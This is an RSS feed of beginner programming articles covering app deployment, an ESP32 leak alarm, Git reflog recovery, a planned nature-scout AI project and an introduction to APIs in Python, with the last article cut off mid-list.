<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
<channel>
<title>Coder Legion - Recent posts tagged beginners</title>
<link>https://coderlegion.com/tag/beginners</link>
<description>Powered by Question2Answer</description>
<item>
<title>Your App Works Locally. What Changes When It Goes to Production?</title>
<link>https://coderlegion.com/33120/your-app-works-locally-what-changes-when-it-goes-to-production</link>
<description>&lt;p&gt;Hey, Emmanuel here. While I was pondering what to write about this week, I ran into an old project of mine: Relay (A “real-time” messaging platform). Think Facebook, but without any of the stuff that makes it good, like real people and the ability to actually send friend requests. Truth be told, it’s just a badly designed message board with a fixed amount of people :( that I built to learn about Websockets.&lt;/p&gt;
&lt;p&gt;The main thing is that I remembered the absolute nightmare it was to deploy it. It’s not that I haven’t deployed a full-stack application before. No, it’s because the “genius” that made the tutorial decided to build the frontend and backend separately and then eventually move it to the same codebase for a single deployment. He configured a single build command for both ends and a lot of shoddy fixes to get it to work.&lt;/p&gt;
&lt;p&gt;Thanks to the experience (PTSD) I got from that project, future deployments became substantially easier. So, that gave me the idea to write about taking your app to production. After building it on your machine, what comes next?&lt;/p&gt;
&lt;h2 id=&quot;it-works-on-my-machine-what-s-the-problem-&quot;&gt;It Works on My Machine. What's the Problem?&lt;/h2&gt;
&lt;p&gt;Having an app that works on your machine but breaks when it hits production is one of the major rites of passage for developers. When you run your app from your machine, it basically acts as a personal server to handle requests and responses. But that works for just your machine, as someone else making a request to &lt;em&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;http://localhost:5000&quot;&gt;http://localhost:5000&lt;/a&gt;&lt;/em&gt; sends it to their own device, not yours.&lt;/p&gt;
&lt;p&gt;So, deployment means getting your app out of your device and making it accessible to others. However, a lot, and I mean, a lot of things can easily make things spiral out of control. &lt;/p&gt;
&lt;p&gt;While developing locally, you often know exactly where everything is, how it connects, and which configuration values it needs. Deployment forces those assumptions to become explicit. Where does the frontend run? Where does the backend run? How do they communicate? Where is the database hosted? How does the application know which URLs and credentials to use? Those are all questions you need to consider when getting your app out of development and into production.&lt;/p&gt;
&lt;h2 id=&quot;your-app-needs-a-home&quot;&gt;Your App Needs a Home&lt;/h2&gt;
&lt;p&gt;Firstly, your app needs a home, which is a server that it runs on. Running it locally doesn’t allow external users on other devices to be able to send requests to your server (I know certain network configurations can let it do that, but by default, it doesn't). Therefore, you need a hosting provider, which is a platform that basically offers you a chunk of their infrastructure to run your application. The exact cloud hosting provider you choose depends on your use case, requirements, and budget. For Relay, however, I used Render (this is my go-to, as their free tier is quite generous).&lt;/p&gt;
&lt;p&gt;As you probably know, not every part of your application lives in one place. Usually, you have the frontend of the app, which deals with the client-facing services like the UI, while the backend manages data, logic, and security. Now, the way you deploy your application depends on how you arrange the frontend and backend.&lt;/p&gt;
&lt;p&gt;For combined deployment, the frontend is built into static files, and a server serves those files while receiving backend requests. This is actually how I first started web development, using EJS (Embedded JavaScript) alongside Express/Node.js to serve my frontend. With this arrangement, you deploy the whole thing as one, as the backend receives requests directly and serves the appropriate frontend file.&lt;/p&gt;
&lt;p&gt;However, I eventually discovered that separate deployment was the popular choice. The frontend and backend are deployed as separate services, usually with different URLs. For Relay, I actually used this arrangement. The React frontend displayed the UI, and the backend provided the core logic, like authentication, messaging, and account creation.&lt;/p&gt;
&lt;p&gt;So now, your frontend and backend are now deployed. However, if you used the separate deployment approach, they still need to be able to communicate with one another. So, how do we do that?&lt;/p&gt;
&lt;h2 id=&quot;the-frontend-and-backend-need-to-find-each-other&quot;&gt;The Frontend and Backend Need to Find Each Other&lt;/h2&gt;
&lt;p&gt;It’s quite obvious that both ends of your application need to communicate to actually work. For that, we use an API (a set of rules and protocols that allows different software applications to communicate and share data with each other). During development, the backend API runs on localhost (something like &lt;em&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;http://localhost:5000/api/&quot;&gt;http://localhost:5000/api/&lt;/a&gt;&lt;/em&gt;). Hence, the frontend sends requests to that url.&lt;/p&gt;
&lt;p&gt;However, when deployed, both ends get live URLs. Back then, I didn’t know most of this, so I wondered why Relay didn’t work when deployed. After a few frustrating minutes, I discovered I was still sending requests to &lt;em&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;http://localhost:5000/api/&quot;&gt;http://localhost:5000/api/&lt;/a&gt;&lt;/em&gt; from the deployed frontend. I recommend using environment variables rather than hardcoding these paths, as it’ll be easier to switch between development and production URLs without changing your code.&lt;/p&gt;
&lt;p&gt;Of course, there are many other things that can go wrong. In my own case, I also experienced a CORS (Cross-Origin Resource Sharing) error. Keep in mind that this is a security feature designed to stop malicious sites from secretly reading your data on other websites. Notably, tools like Postman or curl don’t enforce CORS, so your API might work during development but fail when it hits production.&lt;/p&gt;
&lt;p&gt;Fortunately, CORS errors are straightforward to handle. All you need to do is configure your backend server to include specific HTTP response headers. Setting these headers lets you provide the live frontend URL, list the allowed methods, and even include custom headers. If, like me, you use Express/Node.js for the backend, you can do this by installing the cors package and setting it up.&lt;/p&gt;
&lt;h2 id=&quot;where-does-your-data-live-&quot;&gt;Where Does Your Data Live?&lt;/h2&gt;
&lt;p&gt;More often than not, your application might need to access a database for full functionality. However, a database running locally on your development machine isn’t automatically accessible by your deployed application. For this, you use a cloud database service; Supabase, Neon, and AWS RDS can provide PostgreSQL databases, while MongoDB Atlas hosts MongoDB databases.&lt;/p&gt;
&lt;p&gt;After setting up a database from any of these cloud providers, you get a connection string. You can then configure your backend to use this connection string for accessing the database. However, DON’T hardcode the connection details in your code; use environment variables to securely pass in the required database access credentials.&lt;/p&gt;
&lt;p&gt;I actually used MongoDB Atlas (the tutorial made me do that :( ) while building Relay, so the connection URI was set right from the development stage.&lt;/p&gt;
&lt;h2 id=&quot;from-localhost-to-a-live-application&quot;&gt;From Localhost to a Live Application&lt;/h2&gt;
&lt;p&gt;I’ve always heard about deployment issues from other devs, but getting a firsthand experience is something else. Turns out getting an application working locally is a far different game from making it accessible, secure, and reliable once it’s live. However, as I’ve now learned, each frustrating deployment teaches a valuable lesson.&lt;/p&gt;
&lt;p&gt;Looking back, Relay wasn't exactly my finest work, but the deployment experience taught me things I wouldn't have learned by simply following a tutorial. Take your time, understand how the different pieces fit together, and don't be afraid to troubleshoot.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/33120/your-app-works-locally-what-changes-when-it-goes-to-production</guid>
<pubDate>Fri, 30 Oct 2026 16:18:42 +0000</pubDate>
</item>
<item>
<title>Build a water-leak alarm for under the sink (ESP32, one evening)</title>
<link>https://coderlegion.com/33083/build-a-water-leak-alarm-for-under-the-sink-esp32-one-evening</link>
<description>&lt;p&gt;&lt;em&gt;&quot;How do I get warned before a leak under the sink floods the kitchen?&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Water conducts a little electricity. Two metal contacts a few millimetres apart on the cupboard floor, a small board that checks them, a loud buzzer and a phone alert. The test is dramatic: pour a glass of water and it screams.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cost&lt;/strong&gt; $6–12 · &lt;strong&gt;Time&lt;/strong&gt; one evening · &lt;strong&gt;Level&lt;/strong&gt; first build · &lt;strong&gt;Power&lt;/strong&gt; USB or battery&lt;/p&gt;
&lt;h3 id=&quot;what-to-buy&quot;&gt;What to buy&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Part &lt;/th&gt;&lt;th&gt;Why this one &lt;/th&gt;&lt;th&gt;Rough cost&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;ESP32-C3 board &lt;/td&gt;&lt;td&gt;Small, cheap, WiFi built in. &lt;/td&gt;&lt;td&gt;$4–7&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Leak probe: two wires or two screws, a few mm apart &lt;/td&gt;&lt;td&gt;Or a cheap &quot;rain sensor&quot; board with a comparator, which gives a simple wet/dry signal. &lt;/td&gt;&lt;td&gt;$0–2&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Active buzzer &lt;/td&gt;&lt;td&gt;Beeps by itself when powered, so no tone code is needed. It still warns you when your phone is off. &lt;/td&gt;&lt;td&gt;$1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;A 100 kΩ resistor &lt;/td&gt;&lt;td&gt;For reading the probe (see step 1). &lt;/td&gt;&lt;td&gt;$0.10&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;USB power (there's often a socket under the sink) or batteries &lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;—&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Prices are rough ranges, not quotes. Check the current price and stock before you order.&lt;/p&gt;
&lt;h3 id=&quot;what-to-install&quot;&gt;What to install&lt;/h3&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://esphome.io&quot;&gt;ESPHome&lt;/a&gt; or a short Arduino sketch: check the probe, sound the buzzer when it's wet, and send a phone alert through &lt;a rel=&quot;nofollow&quot; href=&quot;https://ntfy.sh&quot;&gt;ntfy&lt;/a&gt; or Home Assistant. Repeat the alert every few minutes until it's dry; a leak is urgent.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Ready-made option:&lt;/strong&gt; leak sensors for Zigbee or WiFi cost about $10–20. Build your own to learn, or to get a loud buzzer right at the sink.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;build-it-in-three-steps&quot;&gt;Build it in three steps&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Test with a glass of water.&lt;/strong&gt; Connect one probe to ground. Connect the other to an analog pin, and through the 100 kΩ resistor to a second pin that you switch on only while measuring. Print the reading dry, and with the probe in water: wet should read clearly lower.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Add the buzzer and the alert.&lt;/strong&gt; Drive the buzzer from a pin (through a small transistor if it needs more current than a pin can give). Alert once when it turns wet, then every few minutes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Place it.&lt;/strong&gt; Probes flat on the lowest point of the cupboard floor; board and buzzer higher up, where they stay dry.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;what-catches-people-out&quot;&gt;What catches people out&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Probes corrode if they're powered all the time.&lt;/strong&gt; Constant current through wet metal eats it away. Power the probe only for the moment you measure, which is why the resistor goes to a pin, not straight to 3.3V.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Damp isn't a leak.&lt;/strong&gt; Set the alert point from your own test, well away from the dry reading.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Battery version:&lt;/strong&gt; wake every 30–60 seconds, check, sleep. A leak takes minutes to do damage, so that's fast enough.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Low voltage only.&lt;/strong&gt; USB or batteries; never run mains wiring near the water.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;This guide first appeared on &lt;a rel=&quot;nofollow&quot; href=&quot;https://iotmentor.dev/guides/water-leak-alarm&quot;&gt;IotMentor&lt;/a&gt;, a free chat mentor for small electronics builds (I make it). If your setup is different (distance, power, budget, experience), you can ask it there and it will plan your version.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/33083/build-a-water-leak-alarm-for-under-the-sink-esp32-one-evening</guid>
<pubDate>Fri, 30 Oct 2026 11:14:12 +0000</pubDate>
</item>
<item>
<title>You Ran git reset --hard and Panicked. Here's How to Get Your Commits Back (and the One Thing You Ca</title>
<link>https://coderlegion.com/32171/you-ran-git-reset-hard-and-panicked-heres-how-to-get-your-commits-back-and-the-one-thing-you-ca</link>
<description>&lt;p&gt;Your stomach drops. You typed &lt;code&gt;git reset --hard&lt;/code&gt;, or deleted the wrong branch, or a rebase ended with half your commits missing. The log looks empty. Three days of work, gone.&lt;/p&gt;
&lt;p&gt;Take a breath. If you ever committed that work, it is almost certainly still there. Git is much harder to destroy than it looks, and the tool that proves it is called the reflog.&lt;/p&gt;
&lt;h3 id=&quot;what-the-reflog-is&quot;&gt;What the Reflog Is&lt;/h3&gt;
&lt;p&gt;Your normal history (&lt;code&gt;git log&lt;/code&gt;) shows the commits reachable from your current branch. The &lt;strong&gt;reflog&lt;/strong&gt; is a different record: a private diary of everywhere &lt;code&gt;HEAD&lt;/code&gt; has pointed on your machine, in order, including places you have since left.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git reflog
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;a1b2c3d HEAD@{0}: reset: moving to HEAD~3
9f8e7d6 HEAD@{1}: commit: add pricing page
4c5d6e7 HEAD@{2}: commit: fix navbar on mobile
b7a8c9d HEAD@{3}: commit: add contact form
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A hard reset moved your branch pointer backwards. It did not delete the three commits. They are still stored, and the reflog tells you their IDs.&lt;/p&gt;
&lt;h3 id=&quot;disaster-1-git-reset---hard-threw-away-commits&quot;&gt;Disaster 1: &lt;code&gt;git reset --hard&lt;/code&gt; Threw Away Commits&lt;/h3&gt;
&lt;p&gt;Find the entry from just before the mistake and go back to it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git reflog
git reset --hard 9f8e7d6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can also use the position instead of the ID:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git reset --hard HEAD@{1}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Your branch is back exactly where it was. The &quot;lost&quot; commits are the same commits, same IDs, nothing rewritten.&lt;/p&gt;
&lt;h3 id=&quot;disaster-2-you-deleted-a-branch-you-still-needed&quot;&gt;Disaster 2: You Deleted a Branch You Still Needed&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git branch -D feature/checkout
# Deleted branch feature/checkout (was 3e4f5a6).
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Look at that output. Git told you the ID of the commit the branch pointed at. If you missed it, the reflog still has it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git reflog
# find the last commit you made on that branch
git checkout -b feature/checkout 3e4f5a6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A branch is only a label that points at a commit. Delete the label and the commits stay, until Git cleans them up much later.&lt;/p&gt;
&lt;h3 id=&quot;disaster-3-a-rebase-went-wrong&quot;&gt;Disaster 3: A Rebase Went Wrong&lt;/h3&gt;
&lt;p&gt;Mid-rebase mistakes feel the scariest, because rebase rewrites history. It still keeps the old version in the reflog.&lt;/p&gt;
&lt;p&gt;Right after a rebase, &lt;code&gt;ORIG_HEAD&lt;/code&gt; points at where you were before it started:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git reset --hard ORIG_HEAD
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you have done other things since, find the entry that says something like &lt;code&gt;rebase (start)&lt;/code&gt; in the reflog, take the entry just before it, and reset to that.&lt;/p&gt;
&lt;h3 id=&quot;disaster-4-you-dropped-a-stash&quot;&gt;Disaster 4: You Dropped a Stash&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;git stash drop&lt;/code&gt; removes the stash from the list, but the commit it was stored in still exists for a while. If you have the ID that was printed, apply it directly:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git stash apply 7a8b9c0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you do not have the ID, search for unreachable commits:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git fsck --no-reflog | grep &quot;dangling commit&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then inspect each ID with &lt;code&gt;git show &amp;lt;id&amp;gt;&lt;/code&gt; until you find your changes. This is slower and less certain than the reflog, so treat it as the last resort.&lt;/p&gt;
&lt;h3 id=&quot;the-one-thing-you-cannot-recover&quot;&gt;The One Thing You Cannot Recover&lt;/h3&gt;
&lt;p&gt;This is the part many tutorials skip.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Changes you never committed and never staged are not in the reflog, and &lt;code&gt;git reset --hard&lt;/code&gt; deletes them permanently.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The reflog records commits. If you edited files, never ran &lt;code&gt;git add&lt;/code&gt; or &lt;code&gt;git commit&lt;/code&gt;, and then ran &lt;code&gt;git reset --hard&lt;/code&gt; or &lt;code&gt;git checkout .&lt;/code&gt; or &lt;code&gt;git restore .&lt;/code&gt;, those edits are not stored anywhere in Git. There is nothing to recover.&lt;/p&gt;
&lt;p&gt;A small mercy: if you did run &lt;code&gt;git add&lt;/code&gt;, the staged file contents were saved as objects, and &lt;code&gt;git fsck --lost-found&lt;/code&gt; may be able to find them. It is messy, but possible. Unstaged edits have no such safety net.&lt;/p&gt;
&lt;h3 id=&quot;why-reflog-entries-do-not-last-forever&quot;&gt;Why Reflog Entries Do Not Last Forever&lt;/h3&gt;
&lt;p&gt;The reflog is local to your machine, and it expires. By default, entries for commits that are still reachable are kept for about 90 days, and entries for unreachable ones for about 30 days. After that, Git's cleanup can remove the commits for good.&lt;/p&gt;
&lt;p&gt;It also lives only in your clone. A fresh &lt;code&gt;git clone&lt;/code&gt; has an empty reflog, and it cannot help you recover something that was lost in someone else's copy.&lt;/p&gt;
&lt;h3 id=&quot;how-to-make-this-less-scary-next-time&quot;&gt;How to Make This Less Scary Next Time&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Commit early, even when it is messy.&lt;/strong&gt; A commit called &quot;wip&quot; is a safety net. You can clean the history up later with an interactive rebase.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stash before you experiment.&lt;/strong&gt; &lt;code&gt;git stash&lt;/code&gt; takes a snapshot you can come back to.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use &lt;code&gt;--force-with-lease&lt;/code&gt; instead of &lt;code&gt;--force&lt;/code&gt;.&lt;/strong&gt; It refuses to overwrite a branch if someone else pushed commits you have not seen yet.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Read what Git prints.&lt;/strong&gt; Deleting a branch tells you the ID. Copy it somewhere before doing anything else.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Create a rescue branch first.&lt;/strong&gt; Before any risky command, run &lt;code&gt;git branch backup-before-rebase&lt;/code&gt;. It costs nothing and gives you a label to return to.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;the-rule&quot;&gt;The Rule&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;If you committed it, Git almost certainly still has it. Open &lt;code&gt;git reflog&lt;/code&gt; before you do anything else.&lt;/strong&gt; And if you are about to run a command that can discard work you have not committed, commit or stash first.&lt;/p&gt;
&lt;p&gt;Quick drill: make a throwaway repo, create three commits, run &lt;code&gt;git reset --hard HEAD~3&lt;/code&gt;, and get them back with the reflog. Do it once when nothing is at stake, and the real thing is not scary any more.&lt;/p&gt;
&lt;p&gt;If you build with Next.js, my &lt;a rel=&quot;nofollow&quot; href=&quot;https://pixelanas.com&quot;&gt;templates on pixelanas.com&lt;/a&gt; give you a clean starting point, which is a good first commit to have in your history.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Get the templates:&lt;/strong&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;https://pixelanas.gumroad.com&quot;&gt;https://pixelanas.gumroad.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;What is the worst thing you have ever lost to a Git command, and did you get it back? Tell me in the comments.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Anas, full-stack Next.js developer building SaaS products and premium templates. X: &lt;a rel=&quot;nofollow&quot; href=&quot;https://x.com/ASheikh69751&quot;&gt;@ASheikh69751&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/32171/you-ran-git-reset-hard-and-panicked-heres-how-to-get-your-commits-back-and-the-one-thing-you-ca</guid>
<pubDate>Fri, 23 Oct 2026 10:54:58 +0000</pubDate>
</item>
<item>
<title>I Built PHANTOM Nature Scout: An Open-Source AI Companion for Exploring Nature</title>
<link>https://coderlegion.com/31934/i-built-phantom-nature-scout-an-open-source-ai-companion-for-exploring-nature</link>
<description>&lt;p&gt;This is a personal project inspired by the Hacktoberfest Open-Source AI Challenge Week 1 theme, “Touch Grass.”&lt;/p&gt;
&lt;p&gt;What I Want to Build&lt;/p&gt;
&lt;p&gt;PHANTOM Nature Scout is a concept for an AI-powered nature companion designed to encourage people to spend more time outdoors. It aims to help users observe nature, identify discoveries, and keep a record of what they learn.&lt;/p&gt;
&lt;p&gt;Demo&lt;/p&gt;
&lt;p&gt;The working demo will be added here after implementation and testing.&lt;/p&gt;
&lt;p&gt;Code&lt;/p&gt;
&lt;p&gt;The source code repository will be linked here after the project is implemented.&lt;/p&gt;
&lt;p&gt;How I Plan to Build It&lt;/p&gt;
&lt;p&gt;I plan to use an open-weight AI model for nature-image recognition, with a simple interface and locally stored observations. I will test the model on my Windows laptop and document its actual capabilities and limitations.&lt;/p&gt;
&lt;p&gt;Why Open Innovation Matters&lt;/p&gt;
&lt;p&gt;Open-source tools can give developers more control over their technology. Depending on the model and its licence, local inference can improve privacy, reduce dependence on external services, and allow experimentation with different models.&lt;/p&gt;
&lt;p&gt;What I Learned&lt;/p&gt;
&lt;p&gt;I will document what worked, what failed, and what I learned while building and testing the project.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/31934/i-built-phantom-nature-scout-an-open-source-ai-companion-for-exploring-nature</guid>
<pubDate>Wed, 21 Oct 2026 07:19:04 +0000</pubDate>
</item>
<item>
<title>What Are APIs? And How Do They Work?</title>
<link>https://coderlegion.com/31206/what-are-apis-and-how-do-they-work</link>
<description>&lt;p&gt;&lt;em&gt;A beginner-friendly guide, with a bit of Python and a lot of food analogies.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Imagine you're building a weather application, and it needs to show the current temperature in Mutare. There's just one problem: you don't own any weather sensors, and you definitely don't have a meteorological database lying around. Building that infrastructure yourself would be a huge project. Why reinvent the wheel? So you borrow the data from a service that already has it.&lt;/p&gt;
&lt;p&gt;The tool that makes this possible is something developers use all the time, often without noticing: an &lt;strong&gt;API&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Welcome to another article, where we talk about APIs. Why they're needed, what they are, how they work, types of APIs, and show an example of a code block using an API. &lt;/p&gt;
&lt;p&gt;In simple terms, an &lt;strong&gt;API&lt;/strong&gt; is a defined interface that lets one piece of software interact with another. If you like, think of APIs as the cellphones of applications: they give programs a set way to call each other up and ask for things, like: &quot;Hey, can I have all the PDF documents on machine learning for beginners?&quot;&lt;/p&gt;
&lt;p&gt;In this article, we'll cover what APIs are, how they work, how to make your first API request in Python, the main types you'll hear about, and five beginner projects to practise on.&lt;/p&gt;
&lt;h3 id=&quot;why-do-applications-need-to-communicate-&quot;&gt;Why Do Applications Need to Communicate?&lt;/h3&gt;
&lt;p&gt;Modern applications rarely work alone. They depend on data and services provided by other systems.&lt;/p&gt;
&lt;p&gt;Take a food delivery app. It needs restaurant menus, a payment service, a map to show your location, and live tracking so you can follow your food as it's being delivered. Each job belongs to a different system, and the app connects to them instead of building everything itself.&lt;/p&gt;
&lt;p&gt;The same is true for AI applications. A chatbot might send a prompt to an AI model through one API, then fetch relevant information from a database through another, and combine both to write its answer. Each part has one responsibility, and each is reached through its own interface.&lt;/p&gt;
&lt;p&gt;Now let's bring this closer to home. In my current capstone project, we have five group members, each with different roles and strengths. We can't just disappear into our corners and hope everything magically fits together at the end. We need agreed rules: who builds what, what each piece takes in, and what it hands back.&lt;/p&gt;
&lt;p&gt;Software components need the same thing. Without a clearly defined way to talk to each other, they can't reliably work together. That defined way of making requests and passing information is the API.&lt;/p&gt;
&lt;h3 id=&quot;what-is-an-api-&quot;&gt;What Is an API?&lt;/h3&gt;
&lt;p&gt;Six months ago, I didn't even know what the letters stood for. Today I can tell you that API stands for &lt;strong&gt;Application Programming Interface&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Here's the more precise definition. An API is a defined interface that allows one software component to interact with another. It specifies how requests can be made, what information or functionality is available, and how the receiving system communicates the result (Amazon Web Services, n.d.).&lt;/p&gt;
&lt;p&gt;The application using the API doesn't need to know all the internal details of the system providing the service. It needs to understand the interface and follow the rules for using it.&lt;/p&gt;
&lt;h4 id=&quot;the-restaurant-menu-analogy&quot;&gt;The restaurant menu analogy&lt;/h4&gt;
&lt;p&gt;Think of a restaurant menu. It tells you what you can order and what to expect back: &quot;Quarter chicken and chips with lettuce&quot;, and sometimes even a picture of the plate you're about to get.&lt;/p&gt;
&lt;p&gt;You don't need to know how the kitchen works, where the ingredients are stored, or what the chef does behind the scenes. You look at the menu and place your order. That's it.&lt;/p&gt;
&lt;p&gt;In this analogy, the &lt;strong&gt;menu is the API&lt;/strong&gt; (the interface), and your &lt;strong&gt;order is the request&lt;/strong&gt;. It's basically: &quot;I want this. I don't need to know how you do it, but here's how I'll ask for it.&quot;&lt;/p&gt;
&lt;p&gt;A quick caveat, though. The menu doesn't cook anything. In a typical web API, the API defines the interaction, while the server behind it does the actual work. Keep that in mind, because we'll come back to it.&lt;/p&gt;
&lt;h4 id=&quot;apis-aren-t-only-for-the-internet&quot;&gt;APIs aren't only for the internet&lt;/h4&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; An API isn't necessarily a website, a database, or something that runs over the internet. APIs also exist inside programs. For example, a software library has an API that tells you which functions you can call, and an operating system has APIs that let programs open files or draw things on screen.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;how-do-apis-work-the-request-response-cycle&quot;&gt;How Do APIs Work? The Request-Response Cycle&lt;/h3&gt;
&lt;p&gt;Let's put the restaurant to work. You're hungry and you order a burger:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;You place an order (request).&lt;/strong&gt; Your application asks for something, like the current weather in Mutare.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The kitchen gets to work (processing).&lt;/strong&gt; The server receives the request and prepares what was asked for.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Your food arrives (response).&lt;/strong&gt; The server sends the result back, and your application displays it.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Here's how the roles line up:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The menu&lt;/strong&gt; is the interface and its rules.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The customer&lt;/strong&gt; is the client (your application).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The kitchen&lt;/strong&gt; is the server that processes the request.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The meal&lt;/strong&gt; is the response.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In a typical web API interaction, the client sends a request to an endpoint (a specific web address) using a defined format and method. The server receives the request, validates it, and performs the required operation, which may involve retrieving data or communicating with another service. It then returns a response, often containing a status code and data formatted as JSON (MDN Web Docs, n.d.).&lt;/p&gt;
&lt;h4 id=&quot;what-happens-when-something-goes-wrong-&quot;&gt;What happens when something goes wrong?&lt;/h4&gt;
&lt;p&gt;Not every order ends with a delicious burger. You might order something that isn't on the menu (an invalid request), the kitchen might run out of ingredients (a server error), or the waiter might never make it to your table (a network problem). If something goes wrong, the server may return an error response instead, and the client should be ready to handle both successes and failures.&lt;/p&gt;
&lt;h3 id=&quot;making-your-first-api-request-in-python&quot;&gt;Making Your First API Request in Python&lt;/h3&gt;
&lt;p&gt;Enough theory. Let's actually use an API!&lt;/p&gt;
&lt;p&gt;We'll use Python and &lt;a rel=&quot;nofollow&quot; href=&quot;https://jsonplaceholder.typicode.com/&quot;&gt;JSONPlaceholder&lt;/a&gt;, a free fake online REST API built for testing and experimentation. It lets us practise a simple request without building our own backend.&lt;/p&gt;
&lt;p&gt;First, install the &lt;code&gt;requests&lt;/code&gt; library:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pip install requests
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, the code:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import requests

url = &quot;https://jsonplaceholder.typicode.com/posts/1&quot;

try:
    response = requests.get(url, timeout=10)
    response.raise_for_status()
    post = response.json()
    print(f&quot;User ID: {post['userId']}&quot;)
    print(f&quot;ID: {post['id']}&quot;)
    print(f&quot;Post Title: {post['title']}&quot;)
    print(f&quot;Post Body: {post['body']}&quot;)
except ValueError:
    print(&quot;The response was not valid JSON.&quot;)
except requests.RequestException as error:
    print(&quot;Request failed:&quot;, error)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That's it, we've just made an API request! Here's what's happening, in plain language:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;requests.get(url, timeout=10)&lt;/code&gt; sends an HTTP &lt;strong&gt;GET&lt;/strong&gt; request, which means &quot;please give me this.&quot; It's us placing our order. The &lt;code&gt;timeout=10&lt;/code&gt; tells Python to stop waiting after 10 seconds, so our program doesn't hang forever if the kitchen has vanished.&lt;/li&gt;
